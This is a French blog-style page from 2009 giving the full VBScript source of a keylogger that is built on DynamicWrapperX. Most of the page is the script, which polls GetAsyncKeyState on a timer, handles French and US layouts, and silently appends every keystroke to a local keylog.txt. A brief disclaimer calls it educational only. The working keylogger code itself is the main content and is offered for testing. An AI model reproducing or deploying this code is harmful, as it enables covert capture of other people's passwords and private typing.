Enregistreur de touches en VBScript avec DynamicWrapperX

omen999

- Titre : Enregistreur de touches en VBScript avec DynamicWrapperX

- Auteur : omen999

- Parution : 1 décembre 2009

- Licence : Copyright ® 2009 omen999. Aucune reproduction, même partielle, ne peut être faite de ce site et de l'ensemble de son contenu : textes, documents, images, etc. sans l'autorisation expresse de l'auteur. Sinon vous encourez selon la loi jusqu'à trois ans de prison et jusqu'à 300 000 € de dommages et intérêts.

Sommaire

- Présentation

- Le Script VBS

Présentation

Tout est dans le titre
ce code nécessite l'enregistrement du composant DynamicWrapperX (dynwrapx1_00_eng.zip (version 1.0.0.0 du 17.10.2008, taille archive 14 024 octets). )
les touches au format de l'instruction sendkeys sont enregistrées par défaut dans un fichier dénommé keylog.txt situé dans le répertoire de démarrage du script
la sortie du keylogger se fait par la combinaison Maj + Esc
c'est une version beta, donc les observations et autres "bug reports" sont les bienvenus, une discussion est destinée à accueillir vos commentaires : Commentez
les tests se font évidemment aux risques et périls de leur utilisateur

Avertissement : La présente page décrit une technique d'enregistrement de touches à des fins strictement pédagogiques.
Ce script ne doit pas être installé et/ou exécuté à l'insu de l'utilisateur

Le Script VBS

'****************************************************
'* KeyloggerVBS 1.1b   oem keys support (french standard layout)
'* omen999  december 2009
'****************************************************
Option Explicit
Const Pressed = -32767
Const ForAppending = 8
Dim oWrap, pAddr, pRef, uIDEvent
Dim bLoop, Fso, oKeyLog
Dim iLangID, iALK
Dim aOEMKey(1,11,1)  ' (iALK, vOEMKEY, LUKey)
Dim aSysKey(35)
aSysKey(0)="{BACKSPACE}"
aSysKey(1)="{TAB}"
aSysKey(2)="{RETURN}"
aSysKey(3)="{BREAK}"
aSysKey(4)="{NUMLOCK}"
aSysKey(5)="{SCROLLLOCK}"
aSysKey(6)="{CAPSLOCK}"
aSysKey(7)="{ESC}"
aSysKey(8)="{PGUP}"
aSysKey(9)="{PGDN}"
aSysKey(10)="{END}"
aSysKey(11)="{HOME}"
aSysKey(12)="{LEFT}"
aSysKey(13)="{UP}"
aSysKey(14)="{RIGHT}"
aSysKey(15)="{DOWN}"
aSysKey(16)="{PRTSC}"
aSysKey(17)="{INS}"
aSysKey(18)="{DEL}"
aSysKey(19)="{HELP}"
aSysKey(20)="{F1}"
aSysKey(21)="{F2}"
aSysKey(22)="{F3}"
aSysKey(23)="{F4}"
aSysKey(24)="{F5}"
aSysKey(25)="{F6}"
aSysKey(26)="{F7}"
aSysKey(27)="{F8}"
aSysKey(28)="{F9}"
aSysKey(29)="{F10}"
aSysKey(30)="{F11}"
aSysKey(31)="{F12}"
aSysKey(32)="{F13}"
aSysKey(33)="{F14}"
aSysKey(34)="{F15}"
aSysKey(35)="{F16}"

Private Function GetCapsLock()
GetCapsLock = CBool(oWrap.GetKeyState(&H14))
End Function
Private Function GetAltGr() ' Alt Gr = Ctrl + Alt
GetAltGr = CBool(oWrap.GetKeyState(&H11) and oWrap.GetKeyState(&H12))
End Function
Private Function GetNumLock()
GetNumLock = CBool(oWrap.GetKeyState(&H90))
End Function
Private Function GetShift()
GetShift = CBool(oWrap.GetAsyncKeyState(&H10))
End Function
Private Function GetOEMKey(LKey, UKey, AKey)
If GetAltGr Then
If (Not GetShift) and (AKey <> 0) Then GetOEMKey = Chr(AKey) Else GetOEMKey = ""
Else
If GetCapsLock Then
If GetShift Then GetOEMKey = Chr(LKey) Else GetOEMKey = Chr(UKey)
Else
If GetShift Then GetOEMKey = Chr(UKey) Else GetOEMKey = Chr(LKey)
End If
End If
End Function

Sub TimerProc(hWnd, uMsg, idEvent, dwTime)
Dim i
Dim cKey
cKey = ""
For i = &H8 to &H7F
Select Case i
Case &HA,&HB,&HC,&HE,&HF,&H10,&H11,&H12,&H14,&H15,&H16,&H17,&H18,&H19,&H1A,&H1C, _
&H1D,&H1E,&H1F,&H29,&H2A,&H2B,&H3A,&H3B,&H3C,&H3D,&H3E,&H3F,&H40,&H5B,&H5C,&H5D,&H5E,&H5F
' NOPARSED KEYS
Case &H8,&H9 ' BACKSPACE TAB
If oWrap.GetAsyncKeyState(i) = Pressed Then
cKey = aSysKey(i - &H8)
Exit For
End If
Case &HD ' RETURN
If oWrap.GetAsyncKeyState(i) = Pressed Then
cKey = aSysKey(i - &HB)
Exit For
End If
Case &H13 ' PAUSE
If oWrap.GetAsyncKeyState(i) = Pressed Then
cKey = aSysKey(i - &H10)
Exit For
End If
Case &H1B ' ESC
If oWrap.GetAsyncKeyState(i) = Pressed Then
cKey = aSysKey(i - &H14)
Exit For
End If
Case &H21,&H22,&H23,&H24,&H25,&H26,&H27,&H28 ' ARROW KEYS
If oWrap.GetAsyncKeyState(i) = Pressed Then
cKey = aSysKey(i - &H19)
Exit For
End If
Case &H2C,&H2D,&H2E,&H2F ' PRTSC INS DEL HELP
If oWrap.GetAsyncKeyState(i) = Pressed Then
cKey = aSysKey(i - &H1C)
Exit For
End If
Case &H70,&H71,&H72,&H73,&H74,&H75,&H76,&H77,&H78,&H79,&H7A,&H7B,&H7C,&H7D,&H7E,&H7F ' FUNC KEYS
If oWrap.GetAsyncKeyState(i) = Pressed Then
cKey = aSysKey(i - &H5C)
Exit For
End If
Case &H90,&H91 ' NUMLOCK, SCROLLLOCK
If oWrap.GetAsyncKeyState(i) = Pressed Then
cKey = aSysKey(i - &H8C)
Exit For
End If
Case &H60,&H61,&H62,&H63,&H64,&H65,&H66,&H67,&H68,&H69 ' NUMERIC PAD KEYS
If oWrap.GetAsyncKeyState(i) = Pressed Then
If GetNumLock Then cKey = Chr(i - &H30) ' NUMLOCK ONLY
Exit For
End If
Case &H6A,&H6B,&H6C,&H6D,&H6E,&H6F  ' MATH KEYS
If oWrap.GetAsyncKeyState(i) = Pressed Then
cKey = Chr(i - &H40)
Exit For
End If
Case &H30  ' à0@
If oWrap.GetAsyncKeyState(i) = Pressed Then
cKey = GetOEMKey(&HE0, i, &H40)
Exit For
End If
Case &H31 ' &1
If oWrap.GetAsyncKeyState(i) = Pressed Then
cKey = GetOEMKey(&H26, i, 0)
Exit For
End If
Case &H32 ' é2~
If oWrap.GetAsyncKeyState(i) = Pressed Then
cKey = GetOEMKey(&HE9, i, &H7E)
Exit For
End If
Case &H33 ' "3#
If oWrap.GetAsyncKeyState(i) = Pressed Then
cKey = GetOEMKey(&H22, i, &H23)
Exit For
End If
Case &H34 ' '4{
If oWrap.GetAsyncKeyState(i) = Pressed Then
cKey = GetOEMKey(&H27, i, &H7B)
Exit For
End If
Case &H35 ' (5[
If oWrap.GetAsyncKeyState(i) = Pressed Then
cKey = GetOEMKey(&H28, i, &H5B)
Exit For
End If
Case &H36 ' -6|
If oWrap.GetAsyncKeyState(i) = Pressed Then
cKey = GetOEMKey(&H2D, i, &H7C)
Exit For
End If
Case &H37 ' è7`
If oWrap.GetAsyncKeyState(i) = Pressed Then
cKey = GetOEMKey(&HE8, i, &H60)
Exit For
End If
Case &H38 ' _8\
If oWrap.GetAsyncKeyState(i) = Pressed Then
cKey = GetOEMKey(&H5F, i, &H5C)
Exit For
End If
Case &H39 ' ç9^
If oWrap.GetAsyncKeyState(i) = Pressed Then
cKey = GetOEMKey(&HE7, i, &H5E)
Exit For
End If
Case Else ' ALPHA KEYS
If oWrap.GetAsyncKeyState(i) = Pressed Then
If GetCapsLock Then
If GetShift Then cKey = LCase(Chr(i)) Else cKey = UCase(Chr(i))
Else
If GetShift Then cKey = UCase(Chr(i)) Else cKey = LCase(Chr(i))
End If
Exit For
End If
End Select
Next
If cKey <> "" Then
oKeyLog.Write cKey
Else
For i = &HBA to &HC0   ' OEM KEYS 1
Select Case i
Case &HBA ' $£&#164;
If oWrap.GetAsyncKeyState(i) = Pressed Then
cKey = GetOEMKey(&H24, &HA3, &HA4)
Exit For
End If
Case &HBB ' =+}
If oWrap.GetAsyncKeyState(i) = Pressed Then
cKey = GetOEMKey(&H3D, &H2B, &H7D)
Exit For
End If
Case &HBC ' ,?
If oWrap.GetAsyncKeyState(i) = Pressed Then
cKey = GetOEMKey(&H2C, &H3F, 0)
Exit For
End If
Case &HBD ' NONE
If oWrap.GetAsyncKeyState(i) = Pressed Then
cKey=""
Exit For
End If
Case &HBE ' ;.
If oWrap.GetAsyncKeyState(i) = Pressed Then
cKey = GetOEMKey(&H3B, &H2E, 0)
Exit For
End If
Case &HBF ' :/
If oWrap.GetAsyncKeyState(i) = Pressed Then
cKey = GetOEMKey(&H3A, &H2F, 0)
Exit For
End If
Case &HC0 ' ù%
If oWrap.GetAsyncKeyState(i) = Pressed Then
cKey = GetOEMKey(&HF9, &H25, 0)
Exit For
End If
End Select
Next
If cKey = "" Then ' Testing second group
For i = &HDB to &HE2   ' OEM KEYS 2
Select Case i
Case &HE0, &HE1 ' NOPARSED KEYS
Case &HDB ' )°
If oWrap.GetAsyncKeyState(i) = Pressed Then
cKey = GetOEMKey(&H29, &HB0)
Exit For
End If
Case &HDC ' *µ
If oWrap.GetAsyncKeyState(i) = Pressed Then
cKey = GetOEMKey(&H2A, &HB5)
Exit For
End If
Case &HDD  ' ^¨
If oWrap.GetAsyncKeyState(i) = Pressed Then
cKey = GetOEMKey(&H5E, &HA8)
Exit For
End If
Case &HDE ' &#178;
If oWrap.GetAsyncKeyState(i) = Pressed Then
cKey = Chr(&HB2)
Exit For
End If
Case &HDF ' !&#167;
If oWrap.GetAsyncKeyState(i) = Pressed Then
cKey = GetOEMKey(&H21, &HA7)
Exit For
End If
Case &HE2 ' <>
If oWrap.GetAsyncKeyState(i) = Pressed Then
cKey = GetOEMKey(&H3C, &H3E)
Exit For
End If
End Select
Next
End If
If cKey <> "" Then oKeyLog.Write cKey
End If
End Sub
Set oWrap = CreateObject("DynamicWrapperX")
Set pRef = GetRef("TimerProc")
Set Fso = CreateObject("Scripting.FileSystemObject")
With oWrap
.Register "user32.dll", "SetTimer", "i=llll", "r=l"
.Register "user32.dll", "KillTimer", "i=ll", "r=l"
.Register "user32.dll", "GetAsyncKeyState", "i=l", "r=n"
.Register "user32.dll", "GetKeyState", "i=l", "r=n"
.Register "user32.dll", "GetKeyState", "i=l", "r=n"
.Register "user32.dll", "GetKeyboardLayout", "i=u", "r=u"
End With
Set oKeyLog = Fso.OpenTextFile("keylog.txt", ForAppending, True)
pAddr = oWrap.RegisterCallback(pRef, "i=llll", "r=l")
iLangID = oWrap.GetKeyboardLayout(0) mod 65536 ' Low word
Select Case iLangID ' Active layout keyboard
Case &H409  ' EN-US
iALK = 0
Case &H40C  ' FR-STD
iALK = 1
End Select
uIDEvent = oWrap.SetTimer(0, 0, 60, pAddr)
bLoop=True
While bLoop
WScript.Sleep 60
' Loop exit Shift + Esc
If (oWrap.GetAsyncKeyState(&H1B) = Pressed)  and GetShift Then bLoop = False
Wend
oWrap.KillTimer 0,uIDEvent
oKeyLog.Close